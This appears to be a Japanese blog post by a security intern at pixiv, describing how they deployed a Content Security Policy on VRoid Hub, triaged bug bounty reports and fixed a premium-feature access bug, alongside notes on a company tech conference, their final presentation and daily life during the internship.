f:id:ywkw1717:20190314161027j:plain
なまえ

全社会議の後は全社ランチということで,自分のテーブルでは7人くらいでご飯を食べました.隣にいたhakatashiさんはルービックキューブをやっているということでものすごく親近感が湧きました.特に僕のメンターのkoboさんとhakatashiさんとはCTFのお話ができて良さみがありました.

f:id:ywkw1717:20190314161151j:plain
様子

2/27~3/1

CSPの導入①

この期間で主にやったことはVRoid HubへのContent Security Policy(CSP)の導入です.

hub.vroid.com

CSPとはXSSやその他いくつかの攻撃を防ぐためのセキュリティレイヤーであり,これを使用することで悪意のあるコードの実行を防ぐことができます.CSP Level2 まではドメインの指定によるホワイトリスト方式が推奨されてきましたが,それがバイパス可能だということがわかってきました.そのため現在のLevel 3では nonce+strict-dynamic が推奨されていて,nonceが付与されたscriptタグしか許可しないようにします.また,strict-dynamicを付けることで nonce が付与されたscriptタグ内で動的に生成されたscriptタグも正常に動作するようになるので,アプリケーション本来の動作に影響を及ぼさずにCSPを導入することが可能になります.その他,主に付けるべきディレクティブは script-srcobject-srcbase-uri です.

ここら辺のお話はメンターのkoboさんが書いた以下の記事がとても詳しいです.

inside.pixiv.blog

CSPの導入は次のように進めていきました.

  1. 試しに default-src: 'self' みたいなものだけ設定してCSPの違反がブラウザのコンソールに出ることを確認
  2. script-src object-src base-uri の3つのディレクティブを設定
  3. nonceをscriptタグに設定していく
  4. CSPの違反やnonceの付与漏れなどないことを確認したら,ブラウザごとに出し分けを行う
  5. CSPをReport Onlyモードで動かす
  6. report uriに設定したURLにてCSPの違反レポートを確認して,修正できるものは修正
  7. Report Onlyを外す

バグバウンティ関連①

その他にやっていたこととして,HackerOneに届いているレポートを過去のものも含め全て読んでいいということだったので,空き時間はひたすらレポートを読み漁っていました.なかなか世界中のハッカーが送ってくるレポートを読める機会などないと思いますし,こういう視点でバグを見つけて攻撃をするんだなというハッカーの視点のようなものを養うことができて非常に参考になりました.

エンジニア勉強会

毎週金曜日は勉強会が開かれているので参加しました. 今回はTECH SALONでLTをやる人たちのリハーサルの場でした.縦書きというユニークな話から,Kotlinの話,レイヤーの自由変形の話,CSP+SameSite cookieの話,HEIFの話まで,ジャンルも幅広く様々なお話を聞けました.僕は特にセキュリティな話が好きなのでメンターのkoboさんが話していたCSPとSameSite cookieの話を特に興味津々で聞いてました.SameSite cookieは知りませんでした.CSRF対策ということで,これから普及が進みそうな技術です.

3/4~3/6

CSPの導入②

金曜日にデプロイしない文化があるとメンターさんから教えてもらったので,3月4日の月曜日にいよいよContent Security Policy Report Onlyを有効化するPRをマージして,本番環境にデプロイしました(本番環境にデプロイするボタンをメンターのkoboさんに「このボタンを君に押して貰いたいんだ...!」と言われてクリックさせてもらえたのが印象的です).実際に動いているサービスへのコントリビュート,最高の体験です.

f:id:ywkw1717:20190307000237p:plain
Content Security Policy Report Onlyが付いている様子

unsafe-evalも外せると完璧らしいのですが外してみるとうまくいかない部分があり,結局付けたままにしました.本番環境でContent Security Policy Report Onlyがついていることを確認したらCSPの違反レポートが来るまで1日程度様子を見ました.翌日に違反レポートが来ていることは確認できたのですが,report-uri.comだとブラウザのバージョンが見れず,どのブラウザで違反が起きているのかわかりづらいということでreportUriをSentryに変更しました.

ですがその後,Sentryではあまりログが取れていないということがわかり,reportUriは2つ指定することも可能だったのでreport-uri.comとSentryの2つのURLを指定しました.また,Worker関連のCSP違反レポートが出ていることもわかったので,これに対応するために新たにworkerSrcディレクティブを追加しました.

バグバウンティ関連②

実際のバグバウンティの対応もやらせていただきました.届いていた報告をトリアージしてから報奨金の支払いまでをメンターさんに教えてもらいながらやりました.それまではレポートを読んでいただけだったのですが,未対応の脆弱性の対応のために検証を行ったり,GitHubにissueを立てて概要や影響について書いたりして,ここでも最高の体験をすることができました.

また,画像関係の脆弱性についても検証・調査を進めていました.

pixiv Bug Fix

pixivにあったバグ修正もしました.これはバグバウンティのほうで報告が来ていたもので,プレミア会員でしかできないはずのことが一般会員でも細工するとできてしまうことがあり,その修正をするためにtadsanに教わりながら開発環境を作りました.(PhpStorm初めて使った)

翌日,メンターのkoboさんに相談しながらPRを出し,それはその日中にマージされて本番環境にデプロイされました.pixiv本体へのコントリビュート,最高の体験すぎる.(「これで君は VRoid Hub と pixiv ,2つのコントリビューターだ」とkoboさんから言われた時は嬉しすぎて言葉が「なるほど...」しか出てこなかった🤔)

pixiv TECH SALON

また,3月5日の火曜日はpixiv TECH SALONに参加しました!

techsalon.pixiv.co.jp

pixivが初めて開催するテックカンファレンスで,完全招待制のイベントなのですが,インターン生は全員参加できるということで参加してきました.入場すると謎のサイリウム入りのトートバッグが渡されました.

pixiv BLUE,カルピスとなにかを混ぜたやつ(忘れてしまった)

f:id:ywkw1717:20190314154244j:plain
pixiv BLUE

f:id:ywkw1717:20190314154307j:plain
pixiv BLUE

メインセッションが始まるまでは両端でLTが開かれていました.僕はAのほうを聞いてからBのほうに行き,全てのLTを聞きました.LTの途中からボイチェンで声を変えて発表する『明日から女の子になるための「声」のお話』はだいぶ印象に残りました笑

メインセッションが始まってからは参加者は皆さん着席して聞いていました.どのお話も業務で直面した課題をどのように解決したかを話していたり,pixivの社風が存分に伝わってくるセッションで,聞いていてワクワクしました.

個人的に特に面白いなと思ったセッションは「大多数のメンバーがコードを書けるチームにおけるエンジニアの役割」です.pixivのBOOTHチームについてお話されていて,そもそもBOOTHチームはエンジニア以外にもコードを書ける人が多くて,エンジニア以外にPRを出してマージされたことがある人がいたり,issueを立てたことがある人はエンジニア以外を含めて全員だったり,特徴的なチームでした.

このセッションで伝えたいこととして2点挙げられていました.まず1点目は,BOOTHで商品が入荷するまでの間,ステータスが中々次のものに切り替わらないのでどうにかしたいという課題があったということで,非エンジニアの方からは新たにステータスを追加してはどうかという提案があったそうです.しかしエンジニアからすればステータスを新たに加えるということはコードの大きな変更を意味し,できれば行いたくないということで,もう少しヒアリングしてみると問題の本質はステータスを新たに加えなければいけないということではなくて,ステータスが切り替わらない間のお問い合わせ先に問題があるのでそこを変更すればよいという結論に至ったそうです.このように提案されたものを鵜呑みにするのではなく,問題の本質を見抜きそれを解決するところがエンジニアの腕の見せ所とおっしゃっていて,まさにその通りだなと納得しました.

もう1点は「小さく出す」ということで,PRなどを出す際に「ついでに」これもやっておきましたみたいなことを辞めようということです.なぜかというと,「ついでに」実装したものが実は正しく動いてなくて検証が必要だったりして,本来出すはずだった修正や機能追加が「ついでに」追加したものに足を引っ張られることでできなくなってしまうことがあるからです.そのために「小さく出す」ことで,よりスピーディーに開発が進むということでした.

メインセッションが終わった後はいよいよサイリウムを折ってから盛大な掛け声と共に懇親会がスタートして,みんなでわいわいしていました.(大学の元先輩3人と遭遇するという奇跡が起きてびっくりしました)

f:id:ywkw1717:20190314154435j:plain
様子

f:id:ywkw1717:20190314154416j:plain
サイリウム

f:id:ywkw1717:20190314155630j:plain
いろいろもらった

3/7~3/8

CSPの導入③

CSPのReport Onlyを外すPRを作成していました.いよいよReport Onlyを外すということで少し緊張していましたが,無事VRoid HubにCSPを導入することができました.

f:id:ywkw1717:20190314161814p:plain
Content Security Policyが付いている様子

バグバウンティ関連③

引き続き,画像関係の脆弱性について調査していました.Linuxのcgroupを使用した対策についての調査をローカル環境で試していて,正しく制御できていることを確認したのでissueに調査結果をまとめていたりしました.

成果発表

最終日では,インターン中の成果を発表しました.メンターのkoboさんに添削してもらいながら,ギリギリまでスライドを作っていました.僕の発表は2番目だったのですが,初手のインターン生のりゅう君が声は大きいし発表は面白いし盛り上がるしで,そんな素晴らしい発表の後に控えていた僕は「オワタ」という気持ちで見ていました.

僕の発表では初っ端から,もっと大きな声で喋ってと言われてしまい,普段から声が小さい自分にとってはなかなかに厳しい状況だったのですが,kameikeさんがすぐにマイクを用意してくれて惚れそうになりました.緊張しながらも発表を終えると,メンターのkoboさんが総評でいいことばかりおっしゃってくれて,嬉しすぎてついつい笑みがこぼれました.

f:id:ywkw1717:20190314161224j:plain
様子

発表の後は記念撮影をして打ち上げ会場に移動し,鍋をつつきながら楽しく談笑していました.その後会社に戻ってからは,お土産としてpixivのステッカーやグッズなどを頂いてから帰りました.

f:id:ywkw1717:20190314155710j:plain
お土産

その他の思い出

懇親会でルービックキューブについて話した

hakatashiさんの他に機械学習コースのメンターさんのfusshi-さんもルービックキューブの達人で,お話していてとても楽しかったです.

バイナリかるた貰った

koboさんから頂きました!!!!

f:id:ywkw1717:20190314154341j:plain
バイナリかるた

お絵かきブートキャンプ

こちらは3月6日の水曜日にありました.水曜日のランチでご一緒させていただいた社員さんにお誘い頂いたので喜んで参加しました.絵を描く人全てが偉いという考えで,批判はなくひたすら褒めてもらうような素晴らしい世界でした.自分は絵を描くのが半年~1年に1枚という具合なので,このような集まりがあるといい感じにモチベーションを保ててよさそうだなと思いました.

円盤鑑賞会的なやつ

3月7日の木曜日にAqoursのライブDVDを鑑賞したのですが,優勝しました.

f:id:ywkw1717:20190314155553j:plain
円盤鑑賞会

僕はラブライブは観ていたのですが,ラブライブサンシャインは観ていなかったので大丈夫かなぁと思っていたのですが,いざ始まってみると激熱でした.

ご飯情報

お昼はほぼ毎回メンターのkoboさんがいろいろな社員さんを誘ってくれて,ご飯に行っていました.

f:id:ywkw1717:20190314154521j:plain
28日ご飯 土古里

f:id:ywkw1717:20190314154539j:plain
1日ご飯 camp

f:id:ywkw1717:20190314154607j:plain
4日ご飯 串亭

f:id:ywkw1717:20190314154623j:plain
5日ご飯 キッチンカー

f:id:ywkw1717:20190314154652j:plain
7日ご飯 enjoy

f:id:ywkw1717:20190314154716j:plain
8日ご飯 みろく庵

最後に

去年の夏に2社,別のインターンに行きましたが,僕の目指している職業上どうしても堅いところが多く,このようなアットホームな会社のインターンシップは初めてでした.まず社員さんとの距離が近く,「インターン生」という別のくくりとして扱うのではなく一社員のように扱っていただいて,本当にpixivで働いているような,そんなインターンシップでした.

他にも社員の趣味を最大限に応援する会社で,個性溢れる社員さんばかりでしたし,参加する前から思っていた通りの本当に素敵な会社だなと身に沁み,「創作活動がもっと楽しくなる場所を創る」という理念が伝わってきました.

最後になりますが,メンターのkoboさん,VRoidチームの皆様,インターンシップに携わってくださった社員の皆様,そしてpixivの皆様,最高の体験をありがとうございました!